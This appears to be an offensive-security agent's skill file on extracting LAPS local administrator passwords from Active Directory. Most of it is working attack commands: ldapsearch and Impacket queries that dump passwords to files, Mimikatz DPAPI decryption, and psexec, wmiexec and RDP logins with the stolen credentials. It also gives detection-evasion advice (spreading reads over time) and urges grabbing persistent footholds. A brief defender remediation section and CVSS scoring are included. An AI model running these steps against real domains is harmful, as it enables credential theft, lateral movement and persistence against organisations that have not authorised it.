name: laps description: Extract LAPS-managed local administrator passwords from AD computer objects (ms-Mcs-AdmPwd / msLAPS-Password). metadata: subdomain: active-directory when_to_use: "laps local admin password ldap powerview netexec" mitre_attack: - T1555
LAPS Password Extraction
LAPS (Local Administrator Password Solution) stores randomized local
admin passwords on computer objects in AD. Reading them requires
ms-Mcs-AdmPwd (legacy) or msLAPS-Password (Windows LAPS) read
permission — which is OFTEN over-delegated.
1. Detect LAPS deployment
# Legacy LAPS schema
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'CN=Schema,CN=Configuration,DC=corp,DC=local' \
'(name=ms-Mcs-AdmPwd)' name
# Windows LAPS (2023+)
ldapsearch ... '(name=msLAPS-Password)' name
# Either present = LAPS is deployed
2. Find delegated readers (your target ACL)
From BloodHound — anyone with ReadLAPSPassword edge:
MATCH (n)-[:ReadLAPSPassword]->(c:Computer)
RETURN DISTINCT n.name, c.name
Common over-delegation patterns:
- "HelpDesk-LAPS-Read" groups granted to ALL computers
- IT-Operations OUs reading their child OUs (then a flat OU = global)
- Service accounts with
GenericAllon Computer objects (implies LAPS read)
3. Read passwords (assuming you can)
# Direct LDAP query as authorized user
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'DC=corp,DC=local' \
'(&(objectClass=computer)(ms-Mcs-AdmPwd=*))' \
name dNSHostName ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime > /tmp/laps.txt
# Windows LAPS uses encrypted attribute by default
ldapsearch ... \
'(&(objectClass=computer)(msLAPS-EncryptedPassword=*))' \
name dNSHostName msLAPS-EncryptedPassword msLAPS-Password
Impacket helper:
# Recovers legacy LAPS
GetLAPSPassword.py 'DOM/USER:PASS@DC_FQDN' \
-outputfile /tmp/laps.csv
# Newer Windows LAPS w/ encryption: use python-windows-laps or
# manual ASN.1 decode w/ user's DPAPI key
4. Bulk-process result
laps_ingest("/tmp/laps.txt")
This adds:
kg_add_node(kind="credential", label="<host>\\Administrator:<plain>",
props={"source":"laps","host":"<host>","expires":"<date>"})
kg_add_edge(src=<cred>, dst=<computer>, kind="local-admin")
5. Cracking encrypted LAPS (Windows LAPS only)
Windows LAPS (server 2022+) encrypts the password with a per-principal DPAPI key derived from the AD-stored public key. To decrypt:
- You need either the authorized principal's DPAPI master key (from their
profile via Mimikatz
dpapi::masterkey), or - The recovery key configured via
Set-LAPSADAuditingpolicy
If neither, the msLAPS-EncryptedPassword blob is useless without context.
6. Authentication with LAPS pw
# SMB / WMI as local admin
psexec.py 'HOST\\Administrator:LAPS_PW@10.0.0.5'
wmiexec.py 'HOST\\Administrator:LAPS_PW@10.0.0.5'
# RDP
xfreerdp /u:Administrator /p:'LAPS_PW' /v:10.0.0.5 +clipboard
NOTE: LAPS rotates on a schedule (default 30 days). Use the pw quickly and grab a more durable foothold (cached creds, scheduled task, service account hash).
OPSEC
- LDAP search for
ms-Mcs-AdmPwdattribute is event 4662 on DC with object type Computer andPropertiesreferencing the AdmPwd GUID - Detection signature: 4662 reading large numbers of computer objects for the AdmPwd attribute = LAPS scrape in progress
- Spread reads over time, scope by OU not domain-wide
CVSS
- Anyone in domain reading any LAPS pw:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H= 7.5 - Over-delegated to wide group reading hundreds of hosts: 9.0 (scope: Changed)
Defender remediation
# Audit who can read LAPS pw on a Computer object
Get-ACL "AD:CN=HOST,OU=Servers,DC=dom,DC=local" |
Select -ExpandProperty Access |
Where {$_.ObjectType -eq '<AdmPwd-GUID>'} |
Format-Table IdentityReference, ActiveDirectoryRights
# Remove over-delegated readers
$acl = Get-ACL "AD:CN=HOST,..."
$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule(
'DOM\HelpDeskGroup', 'ExtendedRight', 'Deny',
'<AdmPwd-GUID>', 'Descendents', '<Computer-GUID>')
$acl.AddAccessRule($ace)
Set-ACL -Path "AD:CN=HOST,..." -AclObject $acl
# Or use the LAPS-shipped audit cmdlet
Find-AdmPwdExtendedRights -Identity 'OU=Servers,DC=dom,DC=local'
Known exemplars
- 2018: HelpDeskTier1 group granted ReadLAPS at domain root by accident → entire estate compromised
- 2021: Tenable Nessus default service account had LAPS read via GenericAll
- 2023: Multiple ManageEngine deployments over-delegated LAPS to "AssetMgmt" service account